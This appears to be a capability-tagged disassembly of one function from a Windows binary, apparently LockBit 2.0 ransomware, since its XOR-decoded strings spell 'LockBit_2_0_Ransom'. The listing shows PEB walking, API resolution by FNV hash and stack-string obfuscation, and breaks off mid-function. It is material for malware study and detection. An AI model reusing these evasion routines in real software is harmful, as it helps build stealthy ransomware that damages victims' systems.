Function at 0x4c44d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
push ebx
mov ebx, dword [0x4f081c]
push esi
push edi
test ebx, ebx
jne 0x4c457c
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x14], eax
mov edx, eax
mov dword [esp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c4562
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x10]
imul eax, eax, 0x1000193
mov dword [esp + 0x10], eax
cmp edi, ebx
jne 0x4c4526
cmp eax, 0xa3e6f6c3
je 0x4c540e
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c4574
cmp dword [ecx + 0x18], 0
jne 0x4c4507
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8f40]
test eax, eax
jne 0x4c461a
test ebx, ebx
je 0x4c4613
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c4613
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c4613
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c45fe
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c45c7
cmp edi, 0xab288e66
je 0x4c541a
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c45b7
xor eax, eax
mov dword [0x4f8f40], eax
push 0
call eax
mov ebx, dword [0x4f07ac]
lea edi, [esp + 0x118]
mov edx, eax
mov ecx, 0x30
xor al, al
mov dword [esp + 0x24], edx
rep stosb byte es:[edi], al
mov dword [esp + 0x118], 0x30
mov dword [esp + 0x11c], 3
mov dword [esp + 0x120], 0x4c57d0
mov dword [esp + 0x12c], edx
test ebx, ebx
jne 0x4c46f9
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c46df
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c46a3
cmp eax, 0xc0323159
je 0x4c543a
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c46f1
cmp dword [ecx + 0x18], 0
jne 0x4c4684
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f8f94]
test eax, eax
jne 0x4c4797
test ebx, ebx
je 0x4c4790
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c4790
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c4790
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c477b
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c4744
cmp edi, 0xd308365c
je 0x4c5446
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c4734
xor eax, eax
mov dword [0x4f8f94], eax
push 0x7f00
push 0
call eax
mov ebx, dword [0x4f8f3c]
mov dword [esp + 0x134], eax
test ebx, ebx
jne 0x4c4846
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c482c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c47f0
cmp eax, 0x8b4d9112
je 0x4c5466
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c483e
cmp dword [ecx + 0x18], 0
jne 0x4c47d0
xor ebx, ebx
mov dword [0x4f8f3c], ebx
mov eax, dword [0x4f8f9c]
test eax, eax
jne 0x4c48e4
test ebx, ebx
je 0x4c48dd
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c48dd
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c48dd
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c48c8
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c4891
cmp edi, 0x3c11bb1c
je 0x4c5472
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c4881
xor eax, eax
mov dword [0x4f8f9c], eax
push 0xfcf8f7
call eax
mov dword [esp + 0x138], eax
mov dword [esp + 0x2c], 0xe
mov eax, dword [esp + 0x2c]
xor eax, 0x4c
mov word [esp + 0x30], ax
mov eax, dword [esp + 0x2c]
inc eax
xor eax, 0x6f
mov word [esp + 0x32], ax
mov eax, dword [esp + 0x2c]
add eax, 2
xor eax, 0x63
mov word [esp + 0x34], ax
mov eax, dword [esp + 0x2c]
add eax, 3
xor eax, 0x6b
mov word [esp + 0x36], ax
mov eax, dword [esp + 0x2c]
add eax, 4
xor eax, 0x42
mov word [esp + 0x38], ax
mov eax, dword [esp + 0x2c]
add eax, 5
xor eax, 0x69
mov word [esp + 0x3a], ax
mov eax, dword [esp + 0x2c]
add eax, 6
xor eax, 0x74
mov word [esp + 0x3c], ax
mov eax, dword [esp + 0x2c]
add eax, 7
xor eax, 0x5f
mov word [esp + 0x3e], ax
mov eax, dword [esp + 0x2c]
add eax, 8
xor eax, 0x32
mov word [esp + 0x40], ax
mov eax, dword [esp + 0x2c]
add eax, 9
xor eax, 0x5f
mov word [esp + 0x42], ax
mov eax, dword [esp + 0x2c]
add eax, 0xa
xor eax, 0x30
mov word [esp + 0x44], ax
mov eax, dword [esp + 0x2c]
add eax, 0xb
xor eax, 0x5f
mov word [esp + 0x46], ax
mov eax, dword [esp + 0x2c]
add eax, 0xc
xor eax, 0x52
mov word [esp + 0x48], ax
mov eax, dword [esp + 0x2c]
add eax, 0xd
xor eax, 0x61
mov word [esp + 0x4a], ax
mov eax, dword [esp + 0x2c]
add eax, 0xe
xor eax, 0x6e
mov word [esp + 0x4c], ax
mov eax, dword [esp + 0x2c]
add eax, 0xf
xor eax, 0x73
mov word [esp + 0x4e], ax
mov eax, dword [esp + 0x2c]
add eax, 0x10
xor eax, 0x6f
mov word [esp + 0x50], ax
mov eax, dword [esp + 0x2c]
add eax, 0x11
xor eax, 0x6d
mov word [esp + 0x52], ax
mov eax, dword [esp + 0x2c]
add eax, 0x12
mov word [esp + 0x54], ax
mov eax, dword [esp + 0x2c]
add eax, 0x13
movzx eax, ax
movzx ecx, word [0x404a36]
xor ecx, eax
mov word [esp + 0x56], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a38]
add eax, 0x14
movzx eax, ax
xor ecx, eax
mov word [esp + 0x58], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a3a]
add eax, 0x15
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5a], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a3c]
add eax, 0x16
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5c], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a3e]
add eax, 0x17
movzx eax, ax
xor ecx, eax
mov word [esp + 0x5e], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a40]
add eax, 0x18
movzx eax, ax
xor ecx, eax
mov word [esp + 0x60], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a42]
add eax, 0x19
movzx eax, ax
xor ecx, eax
mov word [esp + 0x62], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a44]
add eax, 0x1a
movzx eax, ax
xor ecx, eax
mov word [esp + 0x64], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a46]
add eax, 0x1b
movzx eax, ax
xor ecx, eax
mov word [esp + 0x66], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a48]
add eax, 0x1c
movzx eax, ax
xor ecx, eax
mov word [esp + 0x68], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a4a]
add eax, 0x1d
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6a], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a4c]
add eax, 0x1e
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6c], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a4e]
add eax, 0x1f
movzx eax, ax
xor ecx, eax
mov word [esp + 0x6e], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a50]
add eax, 0x20
movzx eax, ax
xor ecx, eax
mov word [esp + 0x70], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a52]
add eax, 0x21
movzx eax, ax
xor ecx, eax
mov word [esp + 0x72], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a54]
add eax, 0x22
movzx eax, ax
xor ecx, eax
mov word [esp + 0x74], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a56]
add eax, 0x23
movzx eax, ax
xor ecx, eax
mov word [esp + 0x76], cx
mov eax, dword [esp + 0x2c]
movzx ecx, word [0x404a58]
add eax, 0x24
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [esp + 0x78], cx
xor edx, edx
mov word [esp + 0x7a], ax
mov ax, word [esp + 0x30]
nop dword [eax]
mov ax, word [esp + edx*2 + 0x30]
mov ecx, dword [esp + 0x2c]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [esp + edx*2 + 0x30], cx
inc edx
cmp edx, 0x25
jb 0x4c4bd0
mov ecx, dword [0x4f8a5c]
xor eax, eax
mov word [esp + 0x7a], ax
mov edx, 4
lea eax, [esp + 0x30]
mov dword [esp + 0x20], 0
mov dword [esp + 0x140], eax
call fcn.004dfd40
test eax, eax
je 0x4c4c3c
lea ecx, [esp + 0x20]
push ecx
mov ecx, eax
call fcn.0042a2f0
mov eax, dword [esp + 0x20]
test eax, eax
mov ecx, dword [esp + 0x130]
cmovne ecx, eax
mov dword [esp + 0x130], ecx
mov ecx, dword [0x4f8a54]
mov edx, 4
call fcn.004dfd40
test eax, eax
je 0x4c4c73
lea ecx, [esp + 0x20]
push ecx
mov ecx, eax
call fcn.0042a2f0
mov eax, dword [esp + 0x20]
test eax, eax
mov ecx, dword [esp + 0x144]
cmovne ecx, eax
mov dword [esp + 0x144], ecx
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x4c4d16
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c4cfc
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c4cc0
cmp eax, 0xc0323159
je 0x4c5492
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c4d0e
cmp dword [ecx + 0x18], 0
jne 0x4c4ca0
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f8f5c]
test eax, eax
jne 0x4c4db4
test ebx, ebx
je 0x4c4dad
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c4dad
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c4dad
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c4d98
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c4d61
cmp edi, 0x7c72f9ee
je 0x4c549e
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c4d51
xor eax, eax
mov dword [0x4f8f5c], eax
lea ecx, [esp + 0x118]
push ecx
call eax
mov dword [esp + 0x7c], 0x52
mov eax, 0x1e
mov word [esp + 0x80], ax
mov ecx, 0x3d
mov word [esp + 0x82], cx
mov eax, 0x31
mov word [esp + 0x84], ax
mov ebx, 0x39
mov word [esp + 0x86], bx
mov eax, 0x10
mov word [esp + 0x88], ax
mov edi, 0x3b
mov word [esp + 0x8a], di
mov eax, 0x26
mov word [esp + 0x8c], ax
mov esi, 0x72
mov word [esp + 0x8e], si
mov eax, 0x60
mov word [esp + 0x90], ax
mov eax, 0x7c
mov word [esp + 0x92], ax
mov eax, 0x62
mov word [esp + 0x94], ax
xor eax, eax
mov word [esp + 0x96], si
mov word [esp + 0x98], ax
mov eax, 0x33
mov word [esp + 0x9a], ax
mov eax, 0x3c
mov word [esp + 0x9c], ax
mov eax, 0x21
mov word [esp + 0x9e], ax
mov eax, 0x3f
mov word [esp + 0xa0], cx
mov word [esp + 0xa2], ax
mov eax, 0x52
mov word [esp + 0xa4], ax
movzx eax, word [0x404a5e]
xor eax, 0x52
mov word [esp + 0xa6], ax
movzx eax, word [0x404a60]
xor eax, 0x52
mov word [esp + 0xa8], ax
movzx eax, word [0x404a62]
xor eax, 0x52
mov word [esp + 0xaa], ax
movzx eax, word [0x404a64]
xor eax, 0x52
mov word [esp + 0xac], ax
movzx eax, word [0x404a66]
xor eax, 0x52
mov word [esp + 0xae], ax
movzx eax, word [0x404a68]
xor eax, 0x52
mov word [esp + 0xb0], ax
movzx eax, word [0x404a6a]
xor eax, 0x52
mov word [esp + 0xb2], ax
movzx eax, word [0x404a6c]
xor eax, 0x52
mov word [esp + 0xb4], ax
movzx eax, word [0x404a6e]
xor eax, 0x52
mov word [esp + 0xb6], ax
movzx eax, word [0x404a70]
xor eax, 0x52
mov word [esp + 0xb8], ax
movzx eax, word [0x404a72]
xor eax, 0x52
mov word [esp + 0xba], ax
movzx eax, word [0x404a74]
xor eax, 0x52
mov word [esp + 0xbc], ax
movzx eax, word [0x404a76]
xor eax, 0x52
mov word [esp + 0xbe], ax
movzx eax, word [0x404a78]
xor eax, 0x52
mov word [esp + 0xc0], ax
movzx eax, word [0x404a7a]
xor eax, 0x52
mov word [esp + 0xc2], ax
movzx eax, word [0x404a7c]
xor eax, 0x52
mov word [esp + 0xc4], ax
movzx eax, word [0x404a7e]
xor eax, 0x52
mov word [esp + 0xc6], ax
movzx eax, word [0x404a80]
xor eax, 0x52
mov word [esp + 0xc8], ax
xor eax, eax
mov word [esp + 0xca], ax
xor edx, edx
mov ax, word [esp + 0x80]
nop dword [eax + eax]
mov ax, word [esp + edx*2 + 0x80]
movzx ecx, ax
movzx eax, word [esp + 0x7c]
xor ecx, eax
mov word [esp + edx*2 + 0x80], cx
inc edx
cmp edx, 0x25
jb 0x4c5010
xor eax, eax
mov ecx, 0x78
mov word [esp + 0xca], ax
mov eax, 0x55
mov word [esp + 0xcc], ax
mov eax, 0x6c
mov word [esp + 0xce], cx
mov word [esp + 0xd0], ax
mov eax, 0x74
mov word [esp + 0xd2], ax
mov eax, 0x4b
mov word [esp + 0xd4], ax
mov eax, 0x7d
mov word [esp + 0xd6], si
mov word [esp + 0xd8], ax
mov eax, 0x68
mov word [esp + 0xda], ax
mov word [esp + 0xdc], di
mov word [esp + 0xde], ax
mov word [esp + 0xe0], bx
mov word [esp + 0xe2], ax
mov eax, 0x5b
mov word [esp + 0xe4], ax
mov eax, 0x6a
mov word [esp + 0xe6], ax
mov eax, 0x77
mov word [esp + 0xe8], ax
mov eax, 0x7c
mov word [esp + 0xea], ax
mov eax, 0x76
mov word [esp + 0xec], cx
mov word [esp + 0xee], ax
mov eax, 9
mov word [esp + 0xf0], ax
movzx eax, word [0x404a36]
add eax, 9
mov word [esp + 0xf2], ax
movzx eax, word [0x404a38]
add eax, 9
mov word [esp + 0xf4], ax
movzx eax, word [0x404a3a]
add eax, 9
mov word [esp + 0xf6], ax
movzx eax, word [0x404a3c]
add eax, 9
mov word [esp + 0xf8], ax
movzx eax, word [0x404a3e]
add eax, 9
mov word [esp + 0xfa], ax
movzx eax, word [0x404a40]
add eax, 9
mov word [esp + 0xfc], ax
movzx eax, word [0x404a42]
add eax, 9
mov word [esp + 0xfe], ax
movzx eax, word [0x404a44]
add eax, 9
mov word [esp + 0x100], ax
movzx eax, word [0x404a46]
add eax, 9
mov word [esp + 0x102], ax
movzx eax, word [0x404a48]
add eax, 9
mov word [esp + 0x104], ax
movzx eax, word [0x404a4a]
add eax, 9
mov word [esp + 0x106], ax
movzx eax, word [0x404a4c]
add eax, 9
mov word [esp + 0x108], ax
movzx eax, word [0x404a4e]
add eax, 9
mov word [esp + 0x10a], ax
movzx eax, word [0x404a50]
add eax, 9
mov word [esp + 0x10c], ax
movzx eax, word [0x404a52]
add eax, 9
mov word [esp + 0x10e], ax
movzx eax, word [0x404a54]
add eax, 9
mov word [esp + 0x110], ax
movzx eax, word [0x404a56]
add eax, 9
mov word [esp + 0x112], ax
movzx eax, word [0x404a58]
add eax, 9
mov word [esp + 0x114], ax
xor eax, eax
mov word [esp + 0x116], ax
xor ecx, ecx
mov ax, word [esp + 0xcc]
nop dword [eax + eax]
mov ax, word [esp + ecx*2 + 0xcc]
movzx eax, ax
add eax, 0xfffffff7
mov word [esp + ecx*2 + 0xcc], ax
inc ecx
cmp ecx, 0x25
jb 0x4c5270
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x4c5329
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c530f
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c52d3
cmp eax, 0xc0323159
je 0x4c54be
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c5321
cmp dword [ecx + 0x18], 0
jne 0x4c52b4
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f8fa0]
test eax, eax
jne 0x4c53c7
test ebx, ebx
je 0x4c53c0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c53c0
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c53c0
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c53ab
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c5374
mov ecx, dword [esp + 0xc]
cmp edi, 0x2b63548d
je 0x4c54ca
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c5364
xor eax, eax
mov dword [0x4f8fa0], eax
push 0
push dword [esp + 0x28]
lea ecx, [esp + 0x88]
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push ecx
lea ecx, [esp + 0xf4]
push ecx
push 1
call eax
mov dword [0x4f8b00], eax
test eax, eax
jne 0x4c54e8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c4576
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c4615
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c46f3
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c4792
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c4840
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c48df
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c4d10
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4c4daf
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c5323
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c53c2
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x4c5586
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c556c
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c5530
cmp eax, 0xc0323159
je 0x4c5781
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c557e
cmp dword [ecx + 0x18], 0
jne 0x4c5510
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f8f38]
test eax, eax
jne 0x4c5624
test ebx, ebx
je 0x4c561d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4c561d
xor ecx, ecx
mov dword [esp + 0xc], ecx
cmp dword [eax + 0x18], ecx
je 0x4c561d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4c5608
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4c55d1
mov ecx, dword [esp + 0xc]
cmp edi, 0x860861c0
je 0x4c578d
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
inc ecx
add eax, 4
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c55c1
xor eax, eax
mov dword [0x4f8f38], eax
push 0
push dword [0x4f8b00]
call eax
mov ebx, dword [0x4f07ac]
test ebx, ebx
jne 0x4c56cb
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [esp + 0x10], eax
mov edx, eax
mov dword [esp + 0xc], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [esp + 0x14], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4c56b1
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [esp + 0x14]
imul eax, eax, 0x1000193
mov dword [esp + 0x14], eax
cmp edi, ebx
jne 0x4c5675
cmp eax, 0xc0323159
je 0x4c57ab
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx]
mov ecx, eax
